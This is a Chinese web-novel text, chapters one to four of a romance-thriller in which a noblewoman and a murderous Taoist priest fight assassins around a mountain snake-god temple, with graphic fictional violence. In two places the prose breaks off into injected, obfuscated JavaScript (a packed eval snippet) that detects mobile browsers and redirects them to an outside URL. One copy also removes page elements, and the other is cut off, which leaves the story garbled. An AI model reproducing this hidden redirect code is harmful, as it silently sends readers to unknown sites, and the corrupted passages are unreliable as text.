《和黑莲花道长山居后》 1. 01 初春的雨夜，深山更显刺骨。 李初棠裹紧斗篷，双手冻得没了知觉。她记不清摔下马车多久，脚底磨出了泡，湿透的绣鞋浸透了寒意，一路窜到四肢百骸。 “若蓉儿和阿青无恙……定会寻我。” 她咬牙。可恨！刚从江南回来，竟有人迫不及待要她的命！ 脚下一滑，又是一个踉跄。雨水夹带山泥灌入衣领，宛如数双冰冷的手死死掐住她的喉咙。 “无论如何，外祖父的冤屈……一定要带回京城！” 李初棠摸向怀中玉佩，牢牢握紧。苏家冤案未翻，她不能被困在此处。 轰隆！ 一道惨白的电光撕裂天幕，瞬间照亮前方——百步之外，一座破庙顽强地屹立于狂风骤雨之中。 李初棠眼眸一亮，起身掸去斗篷泥水，快步而去。 转身投入庙门的刹那，最后一道闪电劈下，她没注意到——身后泥地里，几行男人脚印在雨水冲刷下消融。 “吱呀——” 老旧的木门被推开，陈年的尘土气扑面而来，引得她打了个喷嚏。 借着窗外一闪而过的电光，庙内景象清晰了一瞬：泥塑的蛇身道像扭曲恐怖，堂内圆柱漆色褪尽，盘布蛛网。 庙宇上下，处处透着诡谲。 李初棠朝泥像弯腰一拜，便俯身坐于蒲团歇息。视野陷入黑暗，听觉便格外敏锐。屋檐下水声如瀑，夜风狂躁地拍打着窗棂，顺着破碎的窗纸钻入，寒意刺骨。 她将斗篷裹得更紧，正思忖要不要睡上一觉，一声压抑的咳嗽却让她骤然警醒！ 眼睛逐渐适应黑暗后，她看见泥像一侧的柱子后面，倚着一道高大的黑影。 李初棠屏住呼吸，眯眼盯紧那处，全身戒备。 虚弱的喘息断断续续，没等她说话，对方先开口。 “请问，来者何人？” 嗓音温和，如山涧清泉，不疾不徐。 “自江南回京，路过避雨。”李初棠答话。 抬眸间，那人已悄无声息地转身倚靠柱前，手持拂尘，向她微微一礼：“贫道稽首……咳咳……” 他低头扶住胸口，咳得撕心裂肺，仿佛要将五脏六腑都震出来。 李初棠摘下兜帽还礼：“敢问道长从何处来。” 借着窗外渗入的微弱月光，她见这道人头戴莲花冠，披着松散道袍，手持一柄黑色拂尘，他瘸着一腿，吃力靠着圆柱坐下，靴底沾着厚厚的泥。 一道闪电划过，刹那照亮他的面容——清俊，苍白，左颊一道新鲜血痕。 李初棠暗叹：这人伤得不轻，却不失礼数。 “贫道乃阳明山修士。”他指了指腰间牙牌。 当朝皇帝好道爱贤，阳明山作为京畿皇家道场，距此地很近，其中修士皆是圣人亲选的玄门奇才。 李初棠暗生敬意，递出绢帕，正欲宽慰几句，庙外却传来一阵窸窣脚步声。 与她的惊诧不同，道长微红的眼角闻声一瞥，反而愈发淡然。其实自她踏入庙门，他已知晓外面有人尾随。 “砰！” 庙门被人一脚踹开！与此同时，另一道鬼魅般的身影自窗口掠入，悄无声息地跃上房梁。 “谁？！” 李初棠倏然起身，下意识张开双臂，将伤者护在身后。 庙外电闪雷鸣，堂内冷风猎猎。一名头戴斗笠的黑衣人利落地抽出腰间横刀，煞气腾腾。目光触及李初棠的瞬间，他眼神一滞，细细打量起身着红斗篷的姑娘。 李初棠心下一沉——不好，冲她来的！ 来不及想仇家是谁，她只知道身后还有个伤员！ 心念电转之际，她身后的无辜之人缓缓起身。一个微沉的东西，悄然坠入了她斗篷的兜帽。 李初棠回神，扭头看向伤了腿的道长。 “怎么起来了？快躲好！”她语气急促，转而抬高嗓音，对前方喝道，“你既知我来历，也该晓得后果。我若出事，我爹绝不会放过你。还有，不准伤及无辜！” 她舔了舔发干的嘴唇，梗着脖子虚张声势：“愣着干什么？还不快走！” 闻言，身后的男人唇角微不可察地一勾。 气势不足，色厉内荏，一听便知是从未凶过人的高门贵女。 蒙面黑衣人一把摘下斗笠，啐道：“娘们儿唧唧的，躲姑娘后边算什么好汉！” “咦？”李初棠眨了眨无辜的杏眼。 这话，显然不是对她说的。 “拿来！”刀锋直指道士，“别逼老子动手！” 李初棠一愣。 什么，不是冲她来的？ 她愕然回头。 道长苍白的面容缓缓绽开一抹笑，语气甚至称得上温和：“说得好像交出来，贫道能活命一样。” “有人悬赏你的人头，还有那劳什子丹药！”黑衣人目光扫过他狼狈的模样，面露得意，“落到这步田地，别怪老子乘人之危！麻溜交出来，否则连你的相好一块宰了！” 电光石火间，李初棠觉得兜帽里的物什重若千斤。 “可惜了。”道长仍是云淡风轻，“你本来能活着回去的。” 他语气里竟透着一丝怜悯，仿佛穷途末路的不是自己。 李初棠心下佩服：不愧是玄门中人，当真身残志坚。 黑衣人似被激怒，目光倏地向上方一瞟。 李初棠惊呼：“小心！” 她伸手欲推开道长，不料对方反应更快，身形微动，她连片衣角都未曾触及，自己反而因力道落空，跌坐在地。 “铮——！” 一支弩箭携着劲风，以迅雷之势钉入她方才站立之处，入地三分，箭尾犹自震颤不休，距她的衣衫仅半寸之遥！ 李初棠来不及庆幸，黑衣人又挥刀直劈，刀光直取道长心口！ 千钧一发之际，一柄桃木剑竟格挡住了锋利的横刀！看似不堪一击的木剑，传来的反震之力却让刺客虎口发麻。 刺客一惊，尚未回神，胸口又挨了一记重踢，整个人倒飞出去砸在窗下，激起满地尘埃。 李初棠心道厉害，可她不通武艺，正想寻个角落避险，目光扫过供桌，却见上面竟摆着新鲜果品。 这荒山野岭有人常住？那必有救兵！ 她拔腿就往门外冲，还没踏出庙门，一支利箭破空而来。“嗤啦”一声划破斗篷下摆，死死钉入地面，强劲的力道将她直接带倒。 一道敏捷的身影自梁上跃下，盛气凌人地一脚踩上她的后背。 李初棠伏在地上，痛哼出声，斗篷被扯落大半。 “别碰她！”道长的声音陡然转冷。 弓弩手揪住李初棠的发髻，仰头狞笑：“放下木剑！否则老子剥了这女人的皮！” 道士毫不犹豫，桃木剑应声落地。 他的眼角泛起骇人的红丝：“不许动她。” 与先前的云淡风轻相比，他正在温和地发怒，宛如海啸前的死寂海面，平静之下蕴藏着毁灭一切的决绝。 “急了？”被踢飞的刺客揉着肩膀爬起，提起横刀，再次逼向手无寸铁的目标。 失了兵器，道长只能吃力地闪避刀锋，攻守之势瞬间逆转。 李初棠心中感动：“道长，不用管我！” “先顾好自己罢！”擒住她的弓弩手贴在她耳边，恶狠狠地低语。 李初棠奋力挣扎，忽而闻到一股若有似无的清香，她定睛一看，这同伙身形纤细，竟是个女子！ “你也是姑娘？”李初棠惊喜道。 女刺客没料到她这般反应，眯起眼奇怪地打量她。 “姐姐！”李初棠瞬间换了副面孔，眼泪汪汪，语气比见了亲人还热络，“女人何苦为难女人？你放我一马，瞧，我头上这支御赐的和田玉簪，送你当嫁妆可好？” 她说着，指指头上发簪。 “少来这套！”女刺客冷斥。 “我懂我懂，这年头谁乐意嫁人？就算不当嫁妆，拿去当铺也能换不少银子呢！好姐姐，你就应了我吧！”她殷勤着，拔出玉簪作奉献状。 “嘴倒甜。”女刺客语带不屑，目光却不由自主地被那成色极佳的玉簪吸引。 确实是尖货。 就在她分神的刹那，李初棠手腕猛地一送！玉簪另一端竟镶嵌着尖锐银针，她用尽平生力气，直刺对方面门！ 女刺客慌忙闪避，虽保住了眼睛，脸颊仍被划开一道血淋淋的口子。她吃痛尖叫，下意识捂脸，李初棠趁机一把夺走她的弩！ “臭婊子！敢伤老娘的脸，我要你加倍偿还！”女刺客拔出扎入皮肉的银针，怨毒地刺向李初棠双眼！ 李初棠欲扣动弩机，双 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任她如何挣扎皆落于下风。对方夺弩，欲对准她的喉咙。 另一边，他也被逼入绝境。 刺客如恶魔般低语：“栽在我这无名小卒手里。江道灼，你没想到会有今天吧？” 庙外的雨，不知何时停了。一弯新月破云而出，清辉洒入破庙，也照亮了江道灼脸上那抹无辜的笑容。 “死到临头还笑？我呸！”刺客啐了一口，“杀了你，老子一辈子吃喝不愁！” 江道灼充耳不闻，只一味地笑。 “你们中原有句话，怎么说来着？” 他笑声很冷，杀手动作微顿，后脊柱不寒而栗。 江道灼桃花眼中一片森然：“虎落平阳被犬欺。” “将死的狗，别乱叫了。” 雨后的凉风簌簌刮过破旧的窗纸，掩盖了不速之客悄然潜入的细微声响。 “啊啊啊——” “我的眼！” 正与女刺客缠斗的李初棠，忽闻一声凄厉惨嚎。两人动作皆是一顿，齐齐扭头望去。 那位温良的道长，正一脚踩着刺客的肩膀，微笑着，将手指狠狠剜入了对方的眼眶。 方才气势汹汹的刺客已被粗糙的麻绳捆缚，七窍中渗出黑血，状若中毒。 伴随一声响彻云霄的惨叫，江道灼手背青筋盘虬，慢条斯理地抠出了两颗沾满鲜血、浑浊不堪的眼球。 刺客剧痛之下，昏死过去。 “哥！” 女刺客凄声尖叫，心知大势已去。 正此时，小腹一阵剧痛！ 李初棠用□□的箭矢猛戳她的腰腹：“教你学坏！教你学坏！” 她不通武艺，但深谙补刀之道。 “别杀她。”身后的男人忽然开口，声音听不出情绪，“你过来。” “哦哦。”李初棠拢好斗篷，走出两步，又心有不甘地回身踹了女刺客一脚。 江道灼靠墙仰头，苍白的脸上平添了几分凌厉。 “绑了。”他淡淡吩咐。 “没有绳子啊……”李初棠以为他在同自己说话。 话音未落，一阵令人头皮发麻的窸窣声由远及近。她循声低头，惊见昏暗的地面上，不知何时已爬满了无数长短不一的毒蛇！ 群蛇仿佛听得懂指令，迅速缠上女刺客，将她捆成了扭曲的麻花。 惊骇与恐惧瞬间攫住李初棠。 她一时失声，僵硬地转头，看向剜目刺客。他也被蛇群紧紧缠绕，毫无生机。 “哪里……哪里来的这么多蛇？”她半晌才找回自己的声音。 庙堂内陷入死寂，无人应答。 夜风穿过破败的门窗，呼啸而入。一道冰冷的视线落在身上，李初棠不自觉地打了个寒颤，缓缓扭头，望向庙内唯一清醒的人。 他也在看她，脸上仍带着笑，却再无半分友善。 “拿来。”他薄唇轻启。 李初棠睫毛剧烈地颤动了一下。这人、这人……不是好的吗？ “别逼我动手。” 李初棠后退一步。 她不知道他在要什么，但那个眼神告诉她——不交出来，会死。 2. 02 诚然，李初棠见过太多坏人，本以为世间没什么能吓到她。 直到遇见眼前人。 她终于接受了事实：身受重伤的温润道长，与眸染猩红、徒手剜目的疯魔之徒，是同一人。 伪装得实在太好。 庙内死寂，唯闻蛇群游走的窸窣声响，令人齿寒。 她盯着他，手都在抖，既有怕，又有悔——害怕成了他的刀下鬼，后悔为什么轻易信了他的鬼话。 江道灼许久没有这么畅快过。他杀意未尽，血还在烧，仿佛又回到了南疆。 这种时候让他收手，比杀了他还难。 这股无处宣泄的截断感，逼着他寻找下一个目标。 比如，眼前这位冰肌玉骨、裹在红斗篷里的小娘子。 思及此，他有些感激地看向李初棠。 “多亏有你，”他笑得温和，眼底猩红未褪，“不然，我可要一直不舒服了。” 李初棠吓得魂飞魄散，连连摆手：“不谢不谢！你也救了我，大恩不言谢……” 他周身杀气浓得化不开，眼底翻涌渴望。 这是要拿她祭刀了！ 绝不能折在荒山野岭！ 李初棠故作镇定，背靠着冰冷墙壁，挪向庙门。 江道灼向前两步。他腿有伤，但身形高大，轻易就能缩短她拉开的距离。 见他赶来，李初棠调转方向，寻窗而逃。 对方随性挽着剑花，慵懒地堵住去路。 李初棠环顾窄小的破庙，又去别处，再被拦截。 就这样，她跑，他追，不紧不慢，像猫逗老鼠，陪她周旋。 退伍可退，李初棠后腰撞上供桌。 他就在三步之外，笑着看她。 再欲逃走，倏忽间，后颈传来一片冰凉触感。 修长、骨节分明的手指轻缓地抚上她的脖颈，清新的草药气混杂着浓重血腥，将她牢牢笼罩。 他笑吟吟问：“跑什么啊，小红帽。” “我还没……好好送你一程呢。” 李初棠舌根发僵：“不、不劳相送，怪……怪累着您的。” 她猛地向后一缩，那原本停留在她颈后的手并未追击，反而任由她拉开了距离。 “你说，”江道灼拖着伤腿，慢悠悠踱到昏死的刺客身旁，轻而易举地拾起那柄沾满血泥的横刀，与地上的桃木剑比了比，“我是用这个，还是用这个？” 他语气诚挚，宛如真心征询她的意见。 李初棠喘着粗气，“……用，用这个！” 说是迟，那时快，她抄起供桌上的果子狠狠砸去！ 江道灼下意识闪避。 好机会！李初棠脚下不停，冲向门口。 “当——” 横刀飞来，裹挟劲风，深嵌入她面前的门扇，刀锋震颤，割断她几缕扬起的发丝。 银亮的刃身泛着幽冷寒光。李初棠定睛一看，心彻底沉下——庙门被密密麻麻的毒蛇堵死。 不止门口，门槛、窗棂、梁柱……四面八方皆有蛇虫游弋钻入，仿佛这破庙之中，藏着什么吸引它们的稀世珍宝。 她从未见过如此骇人景象。 这些俱是他的爪牙。即便肋生双翅，也飞不出去。 江道灼不疾不徐地朝她走来，“还是用桃木剑吧。” 他目光落在她脸上，“你生得美，弄得鲜血淋漓，实在可惜。” 危险气息如影随形，令人窒息。 李初棠一面后退，一面心惊胆战地躲避满地蛇虫，险些被地上散落的破板凳绊倒。 “你别过来！别过来！” 她心跳如鼓，惊慌之际抓起角落里的破板凳奋力砸他。 江道灼手腕微动，桃木剑凌空一挥，伴随撕裂声响，木屑与尘土簌簌飞落。 板凳应声裂为两半。 男人低笑一声，嗓音带着玩味：“哪儿跑。” 李初棠惊慌四窜，他却好整以暇，如同逗弄掌中濒死的猎物，欣赏着她仓皇失措的神情。 事实上，自她踏入庙门那一刻，他杀心已起。但先骗取信任，再看着她坠入绝望、悔不当初，岂非更有趣？ 李初棠被逼至东南角一扇低矮的破窗边。此处竟无蛇虫盘踞，唯有冷飕飕的夜风，透过没有窗纸的空洞窗框，呜咽灌入。 她仓促向外一瞥，窗外是黑黢黢的陡坡，深不见底。 此番怕是逃不掉了。 李初棠蓦地抬起眼帘，杏眼中褪去惊惶，只剩下一片决绝的清亮。 “血丹拿来，我给你个痛快。”江道灼道。 李初棠狠狠瞪向步步紧逼的男人。她心知，若真交出所谓血丹，她会失去价值，死得更快。 “这就是你要的血丹？”她指尖伸向兜帽，“你想要它，可以。必须带我下山！” “就这么简单？” “是你说的，让我自选死法。”李初棠扬声道，“我不要命丧荒山，这破地方，不配！” 提及血丹，江道灼眼底戾气稍敛，缓缓向她靠近。 就在他靠近的瞬间，李初棠翻手抽出玉簪，猛地朝他胸口刺去！ 江道灼不闪不避，仿佛早料到她有此一招。 李初棠双手紧握，将毕生气力贯于针尖。 即便螳臂当车，她也要叫他知道，兔子急了是会咬人的！ 簪子尾端的银针扎入他胸前衣袍，他回以微笑：“没吃饭？” “去死！”李初棠怒极，拔出银针转而刺向他咽喉！ 针尖未至，手腕就被牢牢箍住。 接触的刹那，腕骨传来钻心疼痛，她疼得倒抽一口冷气。 “叮”的一声，银针落地。 紧接着膝窝受他一撞，李初棠腿一软，半跪着跌倒在男人脚边，受伤的手腕仍被他死死攥着。 “这么娇……”江道灼惊讶。 他连一分力气都没用足。 李初棠喘着气，额角沁出细密汗珠。她怕是……逃不到了。 沉默片刻，她缓了缓，道：“……我输了，要杀要剐，悉听……尊便。先扶我起来，我不要跪着死。” 江道灼单手将其提起，扶她坐上摇摇欲坠的窗框。 他伸手探入她的兜帽翻找：“趁我不注意藏针，那血丹应当还在……” 话音戛然而止。 慢条斯理的动作变得急促，兜帽之内空空如也。 察觉到他陡然升腾的烦躁与怒意，李初棠唇角勾起一抹得意的笑。 “你杀了我……我、我也绝不让你……得偿所愿。” 她的声音含混不清，仿佛口中含了东西。 江道灼眸光一凛，骤然出手去掰她紧闭的嘴：“吐出来！” 可为时已晚。李初棠喉头滚动，竟将那颗血丹生生咽了下去。 他看着她咽下去，动作一僵，忽然笑了。 李初棠眼里，这笑容很怪——不是杀意，不是愤怒，是一种……认命。 鱼死网破，强过受制于人。她双手一松，任由自己从窗棂向后仰倒，坠入那深不见底的山坡。 “不—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495104|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 她听到他在喊，声音里是不曾预想的慌张。 随后，一道黑影随她跃下。 强烈的失重感瞬间攫住了她，急速下坠中，凛冽山风刮过面颊，落入一个带着草药清香的怀抱。 二人一路翻滚，最终撞入半山腰的灌木丛，停了下来。 江道灼拉过她的手腕，指尖搭上脉搏。指下脉象狂劲杂乱，如奔马疾驰。 此乃常人误服血丹之症，不至死，却极易引动肝火，令人五内如焚。 江道灼垂眸，凝视着怀中少女纤白的手指，张口轻轻咬破指尖，继而缓慢吮吸起来。 温热的血液入口，带着一丝奇异的甘甜。约莫一刻之后，体内那如冰针穿刺般的药毒，终于暂时平息。 他拭去唇边血迹，目光落在李初棠清丽的面容上。 怀里人安静地睡了，他把她抱得更紧了点。 李初棠沉入了一场深不见底的梦。 她梦见了远在江南的外祖父。梦见他教她写字，教她射术，梦见他受人构陷，满门抄斩…… 她不想死。她不能死。 外祖父的案子还没翻，害苏家的人还没遭报应！ 她还要活着回去，活着查清真相…… 往昔种种如潮水般冲击着她，李初棠猛地睁开双眼。 “醒了？”身旁传来温和的询问。 她吃力地撑起上身，肩上披着的玄色道袍随之滑落。 扶了扶昏沉胀痛的头，指尖揉着太阳穴，愣神片刻，昨夜种种惊心动魄才骤然清晰地回溯至脑海。 李初棠打了个寒颤，猛然抬头，发现自己竟在这恶魔的怀里，再也绷不住，眼泪无声地滑下，她抬手去擦，越擦越多。 一边擦泪，一边警惕望着眼前温文尔雅的男人。 短暂的崩溃过后，她颤声问：“你怎么……怎么在这里？” “送你下山。”江道灼笑了笑，神色如春风般和煦，“不是你说，让我送你下山？为何这般看我，我又不会吃人。” 李初棠又惊又怒，心底更是寒意丛生。万幸的是，她暂时保住了性命。 正当她苦思如何摆脱这魔头时，不远处传来窸窣脚步声。 一名身材高大的壮汉拨开灌木走来，见到他们，面露讶异。 “你们是什么人？怎会在此处？” 壮汉目光扫过江道灼，最终凝在李初棠脸上。 “你是谁？”她强自镇定，反问。 “俺是山上住户，看你们眼生得很，是外乡来的吧？” 江道灼好整以暇地托腮看着他，始终不语。 “我们迷路了，不知大哥能否带我们出山？”李初棠放缓语气，恳求道。 “成，跟我来吧。” 清晨的山林雾气氤氲，透着浸入骨髓的阴冷。李初棠起身跟上壮汉。 江道灼步履轻捷地随在她身侧。她惊异地发现，这人昨日腿伤严重，此刻却行动如常，恍若从未受伤。 壮汉引着他们穿过层层叠叠的茂密灌木，来到一处杂草丛生的林地。 李初棠忽而驻足，扬声道：“到了吧？” 紧接着，她猛地推了一把身旁的江道灼，对壮汉喝道：“愣着干什么！宰了他啊！” 话音未落，她拔腿朝反方向疾奔！ 霎时间，数名黑衣人自林间阴影处拔刀而出，杀气腾腾。 壮汉脸上憨厚尽褪，露出森然凶光，对江道灼冷笑道：“对不住了，玄真道长。” “有人出了大价钱，要买你的命。” 3. 03 李初棠看见壮汉的第一眼，就知他来者不善。 这人印堂发暗，乡音蹩脚，说是山民，昨夜破庙那般动静不见人影，今晨碰巧遇上大发善心？ 李初棠没那么天真。 正好驱狼吞虎，让他们狗咬狗。 念头急转，李初棠猛推一把江道灼，对壮汉高喊：“还不动手！” 话音未落，她披着他的道袍向外疾奔。 “她是你什么人？”壮汉眯眼打量着李初棠仓皇的背影，语带调笑。 玄真道长的贴身衣物，岂会轻易给人？何况还是个女人。 不是同谋，就是相好。 江道灼面无表情地看她逃离，悬着的心尚未落下，见壮汉狞笑着挥了挥手。 林中寒光一闪，弓弦震响，一支弩箭破空而出，直指李初棠后心！ 江道灼眸光一凛，身形如鬼魅般掠出。 李初棠感觉锐风袭来，刚欲俯身，被一股大力扑倒。天旋地转间，跌入一个充斥着草药清香的怀抱。 江道灼迅速起身，反手拔下肩头箭矢，掷于地上，动作干脆利落。 “怎么是你？”李初棠拧眉看他，“想故技重施？我才不上当！” “滚。” 道灼神色冷峻，不似作伪，“能滚多远，滚多远。” 李初棠心下奇怪，未及起身，又一束箭矢迎面疾射而来，快得不及眨眼！ 生死一线间，她绝望闭目。预想的巨痛还未袭来，鼻尖闻到浓重的血腥气。 她颤巍巍睁眼，赫然看见一只被利箭贯穿的手掌，死死钉入树干。 箭尾犹自嗡鸣！ 黑血顺着苍白的皮肤蜿蜒而下，他脸上毫无波澜。这种伤，在南疆受过无数次。 “你……你……”李初棠惊魂难定。 江道灼只冷冷瞪她一眼，重复道：“滚。” “好，好！我先走，你断后！” 为他眼中罕见的肃杀之气所慑，李初棠连连后退。 江道灼掰断箭矢，抽出桃木剑，逆行迎上，留下一路血迹。 李初棠跑出一段距离，藏身树后，回头望去。刀光剑影之中，那名弓弩手率先倒毙，死状凄惨。 当真睚眦必报，手段狠绝。 李初棠悄然潜回战场边缘，她该跑的，但她没有。唇亡齿寒，他一死，她更活不了。 从死去的弓弩手身上顺走箭弩，她攀上一株老歪脖子树，借茂密枝叶隐匿身形。 居高临下，战局一览无余。 以壮汉为首的刺客如潮水般涌向道人。 他周身浴血，眼神幽深，嘴角噙着一丝酣畅淋漓的笑意，宛若一头逼入绝境愈发兴奋的孤狼。 李初棠凝神，弯弓搭箭。擒贼先擒王，箭尖锁定住指挥的壮汉。 屏息，瞄准，松手。 箭矢破空而出，正中右眼！ 远处的壮汉哪料会有冷箭，猝不及防，右眼被利箭贯穿！ “嗷——！” 捂眼惨嚎，轰然倒地。 首领受创，贼人阵脚顿乱。 “不用管我！杀了他！一起上！”壮汉忍痛嘶吼，状若疯魔。 杀手们得令，攻势愈发疯狂。 不行，人太多了。李初棠数了数，箭矢所剩无几。 退无可退，只能一拼！弯弓搭箭，她瞄准他，手在发抖——她怕自己真会伤到他。 江道灼杀得正酣，左臂忽而一痛。 又一支冷箭深深扎入皮肉。他倏然抬头，猩红的眼角戾气横生，准确锁定了树上那道倩影。 腹背受敌。 她的准头比他预料的还好。 紧接着，江道灼后背、大腿接连中箭。鲜血汩汩涌出，心头戾火愈烧愈旺。焚天灭地的怒意，唯有更疯狂的杀戮方能平息。 不知何时，令人头皮发麻的窸窣声再度响起，无数毒蛇自草丛林间游弋而出，加入战局，无情缠上黑衣杀手。 一场血战，最终以刺客全军覆没告终。 林间弥漫着浓重的血腥气。 李初棠长舒一口气，未等喘匀，冰冷的寒意自脊背窜起。 她抬眸，正对上一双犹带血色的桃花眼。 江道灼发冠微斜，几缕染血的墨发垂落额前，眼角眉梢浸透着风雨洗刷不去的落拓。 这眼神，分明是想活吞了她。 “别！别误会！”李初棠慌忙滑下树干，小跑到他跟前，急声解释，“我是在救你！” “逼你入绝境，激发潜能以一当百！你一流血毒蛇就闻讯来援，我们才能反败为胜！再说我真避开要害了，绝无取你性命之意！” 她语速极快，生怕慢了一息小命不保。 江道灼眸光微动。 好敏锐的观察力，竟能洞悉他血液的奥秘。 “照此说来，我反倒该谢你了？”他慢条斯理地拔下身上最后一支箭矢，语气平淡无波，“你还有何遗言？” 李初棠心下一横，仰头道：“我要和你结盟！” “结盟？”江道灼低低笑出声。 “你拿什么和我结盟？” “拿我自己呀！” 她跟随梁皇后多年，深知如何与人周旋。示弱、给甜头、让对方以为赢定了——这套她最熟悉。 江道灼眯眼，眸中笑意全无。 这话颇有歧义，李初棠咳了两声，正经道：“有人想杀你，难保山下没伏兵。敌暗我明，此时暂避锋芒，疗愈伤势再从长计议。” 江道灼讥诮道：“说得冠冕堂皇，不过想找个贴身护卫。” “是，我承认。”李初棠坦然迎上他的目光，“可你呢？重伤在身，盘缠尽失，不辨方位，随时有刺客索命。你需要一个能照料伤势、打探消息、甚至帮你掩藏行迹的帮手。” 她也需要拖延时间，在这里等马车夫阿青和丫鬟蓉儿来寻。 “你我合作，是唯一的生路。” 江道灼看着她笑，“你不怕我杀了你？” 李初棠勾唇一笑，两眼弯弯：“要杀早杀了呀，道长不必大费周章陪我跳……诶等等我！” 她小跑着跟上道长，边走边拂去衣裙尘土。 兜兜转转，跟他回了破庙。 暴雨过后的白日，破庙四周更显荒凉。 李初棠仰头看着缺了一角的破旧木匾，念道：“蛇神庙。” 怪不得山上这么多蛇。 她走进庙里，感受着身旁那道不善的目光。 江道灼沉默地审视她，眼神锐利如刀，似要剖开血肉，直窥内心。 结盟只是缓兵之计，他迟迟不应，李初棠搞不清他所思所想，心里直打鼓。 还没查清谁在暗处害她。贸然下山只会更危险，眼下只有倚仗他的武力生存。 “道长大人考虑得如何？你强我弱，与我结盟，只赚不亏。” 她等待着他的答复。 沉默片刻，男人唇角微扬，勾出一抹毫无温度的笑。 李初棠眨眨眼：“你这是默认了嘛？” “那我当你默认了哦。”她小声嘀咕。 压迫的脚步传来，男人靠近她，直到剩下一拳距离。 “记住，若你方才之言有半字虚妄，或敢存异心……”他俯身，气息冰冷地拂过她的耳廓，声音轻柔却字字惊心，“我会一寸、一寸捏碎你的骨头，让你亲眼看着自己被群蛇分食。” 李初棠屏住呼吸，身体微僵，耳廓生出细密的、骇人的麻意。 “听清楚了么，小红帽。” 这既是明晃晃的命令，又是赤裸裸的威胁。 她以为她在利用他。但她不知道，他亦然。血丹在她体内，她就是他的药。在药性耗尽之前，他不会让她死。 强烈的求生欲迫使李初棠重重点了点头。 恰在此时，庙门外步履蹒跚。 两人敛去神色，警惕望去。 一位身着粗布麻衣、鬓发斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他重复这个名字，语气听不出喜怒。 李初棠赶紧松开他，退后两步，如避蛇蝎。 和谐的气氛冰消瓦解。江道灼卸下温和的伪装，又变回那朵黑心莲。 他慢条斯理地整理着被她挽过的袖口。她抬头看他，他也正好看过来。 四目相对。谁都没说话。 她先移开眼，低头整理衣裙。 他还在看她。 这人气场过于强大，默默盯着人看好似兴师问罪。 李初棠抬头，理直气壮：“土名好养活嘛，你可以叫我海棠。”她又找补，“反正短期出不了山，对外总得有称呼，假称夫妻便于……” “便于你讨价还价，为自己争取平等的筹码。”江道灼抬眸，截断她的话，唇角勾起一抹冰冷的了然。 他气极反笑：“李大小姐真是我平生所见，最端庄守礼的大家闺秀。” 李初棠脸颊微热，不肯气势上输他。 “彼此彼此！您也是我平生所见，最和蔼可亲的玄门道长！” 她拿眼瞪他，比起您谈笑间取人眼目的本领，小女子这点伎俩实在不值一提！ 两人对视之际，仿佛有无形锋刃于空气中交锋。 与虎谋皮，不外如是。 恰在此时，江道灼目光一凛，唇边所有弧度一瞬敛去。 一只手如铁钳般扣住李初棠的手腕，力道之大，让她所有未出口的话都哽在喉间。 “来人了。”他声音压得极低。 方才的戏谑荡然无存，江道灼眼底沉淀下来的，是李初棠在破庙中见过的、类似野兽捕猎前的绝对冷静。 她心头一紧，顺着他的目光望向庙门破败的阴影处。 庙内空气骤然凝滞。 江道灼微微侧身，以一种看似随意、实则将李初棠全然护于身后的姿态，望向门外。 他苍白的脸上缓缓浮现温和的笑，宛如一张精心绘制的面具。 他轻声开口，语气和煦：“阁下驻足已久，不知是主是客？” 门外一片死寂。 唯有那道沉默的影子，如冰冷的毒蛇，牢牢钉死在原地。 江道灼的手，无声地按上剑柄。 4. 04 江道灼话音刚落，门外传来询问：“这位兄台，可见过一位穿红斗篷的姑娘？” 是阿青的声音！ 李初棠瞳孔微缩，对上江道灼询问的眼神，低声耳语：“我的车夫。” 见他颔首，她高声回应：“阿青，蓉儿呢？” “蓉儿扭伤了脚，在山下等候，我才上来寻您。小姐没事真是太好了！”阿青说着就要推门而入。 江道灼唇角勾起一抹意味深长的弧度，活动着手腕。 “不要！”李初棠脱口而出。 既是对门外车夫的阻拦，也是对江道灼的暗示。 道长泛红的桃花眼斜睨过来，目光危险。 李初棠轻轻摇头。 “小姐？庙里那人是谁？可有为难您？”阿青在门外追问。 “我摔伤了腿，他是山里大夫，帮我诊治。你稍候，容我整理衣衫。” 一阵窸窣声响后，庙内重归寂静。 “进来吧。”李初棠终于开口。 阿青推门而入，尘土与腐臭扑面而来。他目光扫过蛇神像、窗下的尸体，最终落在柱后那道红色身影上。 “小姐，我来救您了。” 他快步上前，腰间寒光一闪，利刃直刺红衣后心。 刀锋抽出，却不见鲜血飞溅。阿青掀开兜帽，脸色骤变——这竟是一具布满尸斑的黑衣女尸。 “阁下是来抢人的？” 冰冷的声音自身后响起，快如鬼魅。 阿青尚未反应，一柄刻着繁复纹路的银刀已抵住他的喉咙。手腕传来剧痛，骨节错位发出咯吱声响。 “啊啊啊——！” 钢刀落地，他的手被拧断。 “留他一命。”李初棠从泥像后走出，“先审这个叛徒。” 阿青嘶声道：“小姐！我是来救您的！” “死到临头还要嘴硬？马车出事是不是你干的！我好心雇你，你居然敢害我！”李初棠拾起他的刀，“说，蓉儿在哪儿？！” 伪装败露，阿青脸色骤变：“我怎知那男人婆的下落！” “不说？”李初棠冷声道，“大壮，用刑！” 她第一次使唤道长。令人惊讶的是，他真的照做了。 银匕抵着脖颈，另一只手探向阿青的眼眶。 凄厉的惨叫响彻破庙。李初棠捂住眼睛，臂上泛起鸡皮疙瘩。 待叫声平息，她仍不敢看地上两颗圆疙瘩。 “晕过去了。”江道灼慢条斯理地擦拭手指，“要审，得等他醒来。” 以防被认出身份，不能让人看见他的脸。 李初棠抚着狂跳的心口：“下次能不能温柔点儿？” 江道灼置若罔闻：“真当我是你的情郎，呼来喝去还惟命是从？” 她懒得争辩，正欲开口，庙门“吱呀”一声又被推开。 又有人？！ 两人同时转头！ 去而复返的林张婆婆愣在门口：“你们这是……” 李初棠快步上前挽住老人：“婆婆怎么回来了？” 